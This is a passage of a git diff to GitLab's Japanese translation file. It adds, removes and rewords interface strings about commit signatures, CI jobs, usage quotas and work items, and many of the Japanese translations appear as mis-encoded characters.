@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "ã“ã® %{issuableDisplayName} ã¯ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™ã€‚プロジェクトメンãƒãƒ¼ ã ã‘ãŒã‚³ãƒ¡ãƒ³ãƒˆã§ãã¾ã™ã€‚"
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ %{link_to_merge_request} ã®ä¸€éƒ¨ã§ã™ã€‚ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã€ãã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ã‚³ãƒ³ãƒ†ã‚­ã‚¹ãƒˆã§ä½œæˆã—ã¾ã™ã€‚"
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ %{strong_open}検証済ã¿%{strong_close}ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ãŠã‚Šã€ã“ã®ã‚³ãƒŸãƒƒã‚¿ãƒ¼ã®ãƒ¡ãƒ¼ãƒ«ã¯åŒã˜ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ãŒæ¤œè¨¼ã•ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "This commit was signed with a different user's verified signature."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯åˆ¥ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ¤œè¨¼æ¸ˆã¿ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯%{strong_open}検証ã•ã‚Œã¦ã„ãªã„%{strong_close}ç½²åã§ã‚µã‚¤ãƒ³ã—ã¦ã„ã¾ã—ãŸã€‚"
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "ã“ã®å†…容ã¯è¡¨ç¤ºã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ç†ç”±ã¯ %{reason} ã§ã™ã€‚代ã‚ã‚Šã« %{options} ãŒä½¿ç”¨ã§ãã¾ã™ã€‚"
@@ -42016,6 +42716,9 @@ msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã«ã¯ãƒˆãƒ¬ãƒ¼ã‚¹ãŒã‚ã‚Šã¾ã›ã‚“。"
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã¯è‡ªå‹•çš„ã«å®Ÿè¡Œã•ã‚Œãšã€æ‰‹å‹•ã§é–‹å§‹ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ãŒã€ã‚¢ã‚¯ã‚»ã‚¹æ¨©ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã¯ã‚­ãƒ£ãƒ³ã‚»ãƒ«ã•ã‚Œã¾ã—ãŸ"
@@ -42091,9 +42794,6 @@ msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã¯æ¬¡ã®ãƒªã‚½ãƒ¼ã‚¹ã‚’å¾…ã£ã¦ã„ã¾ã™: "
msgid "This job requires a manual action"
msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã¯æ‰‹å‹•ã«ã‚ˆã‚‹å®Ÿè¡Œã‚’求ã‚ã¦ã„ã¾ã™"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "ã“ã®ã‚¸ãƒ§ãƒ–を開始ã™ã‚‹ã«ã¯ã€æ‰‹å‹•ã«ã‚ˆã‚‹ä»‹å…¥ãŒå¿…è¦ã§ã™ã€‚ ã“ã®ã‚¸ãƒ§ãƒ–を開始ã™ã‚‹å‰ã«ã€ç›´å‰ã®æ§‹æˆå¤‰æ›´ã®ãŸã‚ã«ä»¥ä¸‹ã®å¤‰æ•°ã‚’追加ã§ãã¾ã™ã€‚"
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã¯ã‚¿ã‚¤ãƒžãƒ¼çµ‚了後ã«è‡ªå‹•çš„ã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚多ãã®å ´åˆæœ¬ç•ªç’°å¢ƒã¸ã®æ®µéšŽçš„ãªãƒ­ãƒ¼ãƒ«ã‚¢ã‚¦ãƒˆãƒ‡ãƒ—ロイã«ä½¿ç”¨ã•ã‚Œã¾ã™ã€‚スケジュールã•ã‚Œã¦ã„ãªã„ã¨ãã¯æ‰‹å‹•ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã«å¤‰æ›ã•ã‚Œã¾ã™ã€‚"
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr "ã“ã®å¤‰æ•°ã¯ãƒžã‚¹ã‚¯ã§ãã¾ã›ã‚“."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "SVN リãƒã‚¸ãƒˆãƒªã‚’インãƒãƒ¼ãƒˆã™ã‚‹ã«ã¯ã€%{svn_link} ã‚’ã”確èªãã ã•ã„。"
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr "ã“ã®ãƒ—ロジェクトを継続ã™ã‚‹ãŸã‚ã«ã€æ–°ã—ã„イシューを作æˆã—ã¦ãã ã•ã„"
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr "GitLab ã«æˆ»ã‚‹"
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr "フィルターを変更ã—ã¦ã¿ã¦ãã ã•ã„。ã¾ãŸã¯å‰Šé™¤ã—ã¦
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr "Jira インスタンスã«æŽ¥ç¶šã§ãã¾ã›ã‚“。 Jira çµ±åˆè¨­å®šã‚’ç
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr "差分を読ã¿è¾¼ã‚€ã“ã¨ãŒã§ãã¾ã›ã‚“。%{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "マージリクエストウィジェットをロードã§ãã¾ã›ã‚“。ページをå†èª­ã¿è¾¼ã¿ã—ã¦ãã ã•ã„。"
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr "ジョブã®ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«ã‚’解除"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "スターを外ã™"
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr "未検証"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "最新"
@@ -43882,6 +44583,9 @@ msgstr "プロジェクトåを変更ã§ãã¾ã›ã‚“。プロジェクトã«ã‚³
msgid "UpdateProject|Could not set the default branch"
msgstr "デフォルトã®ãƒ–ランãƒã‚’設定ã§ãã¾ã›ã‚“"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "æ–°ã—ã„å¯è¦–性レベルã¯è¨±å¯ã•ã‚Œã¾ã›ã‚“ï¼"
@@ -44044,15 +44748,9 @@ msgstr "グループ設定 &gt; 使用クォータ"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "パイプライン"
-msgid "UsageQuota|Purchase more storage"
-msgstr "追加ã®ã®ã‚¹ãƒˆãƒ¬ãƒ¼ã‚¸ã‚’購入"
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "ã‚ãªãŸã®ãƒ—ロジェクトã§ã®ãƒªã‚½ãƒ¼ã‚¹ã®ä½¿ç”¨çŠ¶æ³"
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr "テンプレートを使用"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr "ユーザー %{current_user_username} ㌠アカウント%{username} ã®
msgid "User %{username} was successfully removed."
msgstr "ユーザー %{username} を正常ã«å‰Šé™¤ã—ã¾ã—ãŸã€‚"
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr "アクティビティ"
-msgid "UserProfile|Already reported for abuse"
-msgstr "æ—¢ã«å ±å‘Šã•ã‚ŒãŸä¸æ­£åˆ©ç”¨"
-
msgid "UserProfile|Blocked user"
msgstr "ブロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼"
@@ -44678,11 +45355,11 @@ msgstr "ãŠæ°—ã«å…¥ã‚Šãƒ—ロジェクト"
msgid "UserProfile|Subscribe"
msgstr "購読"
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯å€‹äººãƒ—ロジェクトをæŒã£ã¦ã„ã¾ã›ã‚“。"
+msgid "UserProfile|This user doesn't have any followers."
+msgstr ""
msgid "UserProfile|This user has a private profile"
msgstr "ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯éžå…¬é–‹ã®ãƒ—ロファイルをæŒã£ã¦ã„ã¾ã™"
@@ -44849,10 +45526,7 @@ msgstr "æš—å·åŒ–フィールドãŒãªã„å ´åˆã€å¿…è¦ãªæš—å·åŒ–戦略を使
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr "検証済ã¿"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "SAML構æˆã®ç¢ºèª"
@@ -45056,9 +45733,6 @@ msgstr "設定ã®ç¢ºèª"
msgid "Version"
msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr "ã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’表示"
msgid "View all projects"
msgstr "å…¨ã¦ã®ãƒ—ロジェクトを表示"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr "ログã®è¡¨ç¤º"
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr "変更後ファイルを表示 @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr "ドキュメントã®è¡¨ç¤º"
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "公開範囲"
-
msgid "Visibility and access controls"
msgstr "å¯è¦–性ã¨ã‚¢ã‚¯ã‚»ã‚¹åˆ¶å¾¡"
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "パイプラインイベント"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr "作業中(オープンã‹ã¤æœªå‰²ã‚Šå½“ã¦ï¼‰"
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "アカウントã®æ¨©é™ã‚’ %{group_name} グループã«ç§»è¡Œã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚ã“ã®æ“作ã¯å…ƒã«æˆ»ã›ãšã€ç§»è¡ŒãŒå®Œäº†ã™ã‚‹ã¨ %{group_name} 以外ã®ã‚°ãƒ«ãƒ¼ãƒ—やプロジェクトã«ã¯ã‚¢ã‚¯ã‚»ã‚¹ã§ããªããªã‚Šã¾ã™ã€‚"
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr "ラベルã«ã‚¹ã‚¿ãƒ¼ã‚’付ã‘ã¦å„ªå…ˆãƒ©ãƒ™ãƒ«ã«ã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚"
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "%{lint_link_start}CI Lint%{lint_link_end}㧠%{gitlab_ci_yml} をテストã™ã‚‹ã“ã¨ãŒã§ãã¾ã™"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "以下ã®æ‰‹é †ã«ãã£ã¦ã€ã‚ãªãŸã®ã‚³ãƒ³ãƒ”ューター上ã®æ—¢å­˜ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’アップロードã§ãã¾ã™ã€‚"
@@ -47004,6 +47714,9 @@ msgstr "æ–°ã—ã„メンãƒãƒ¼ã‚’%{project_name} ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
msgid "You can invite another group to %{project_name}."
msgstr "ä»–ã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’%{project_name} ã«æ‹›å¾…ã§ãã¾ã™ã€‚"
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "矢å°ã‚­ãƒ¼ã‚’使用ã—ã¦ã‚°ãƒ©ãƒ•ã‚’移動ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "グループã”ã¨ã¾ãŸã¯ãƒ—ロジェクトã”ã¨ã«é€šçŸ¥ãƒ¬ãƒ™ãƒ«ã‚’設定ã§ãã¾ã™ã€‚"
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "%{linkStart} CI Lint %{linkEnd} ã§.gitlab-ci.ymlをテストã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr "ã“ã®ãƒ•ã‚¡ã‚¤ãƒ«ã«ç›´æŽ¥ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã›ã‚“。ã—ã°ã‚‰ããŠ
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr "最近ã®æ¤œç´¢ãŒã‚ã‚Šã¾ã›ã‚“。"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "ã‚ãªãŸã¯ %{source_link} %{source_type} ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹æ¨©é™ %{access_level} を与ãˆã‚‰ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -47299,6 +48012,9 @@ msgstr "ロックを強制的ã«å‰Šé™¤ã™ã‚‹ã«ã¯ã€Maintainer ã®ã‚¢ã‚¯ã‚»ã‚¹æ
msgid "You must provide a valid current password"
msgstr "ç¾åœ¨ã®æ­£ã—ã„パスワードを入力ã—ã¦ãã ã•ã„"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "パスワードを変更ã™ã‚‹ã«ã¯ã€ç¾åœ¨ã®ãƒ‘スワードを入力ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -47452,8 +48168,9 @@ msgstr "ワンタイムパスワードèªè¨¼ã‚’使用ã—ãŸ2è¦ç´ èªè¨¼ã¯æ—¢ã
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47690,6 +48407,9 @@ msgstr "メッセージを入力ã—ã¦ãã ã•ã„。"
msgid "Your name"
msgstr "åå‰"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr "パスワードリセットトークンã¯æœ‰åŠ¹æœŸé™åˆ‡ã‚Œã§ã™ã€‚"
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "コードå“質ã«å¤‰æ›´ã¯ã‚ã‚Šã¾ã›ã‚“"
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr "ã¯ãƒ†ãƒ³ãƒ—レートを利用ã§ãるグループã«æ‰€å±žã—ã¦ã„ã¾ã›ã‚“。"
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr "ã¯æœ‰åŠ¹ãª X509 証明書ã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "開始日より後ã«ã—ã¦ãã ã•ã„。"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr "%{item} 〠%{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item} ãれ㫠%{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr "所有者を確èªã™ã‚‹"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³ %{versionIndex}"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 543d8a0e4f3..5eafaff46e9 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
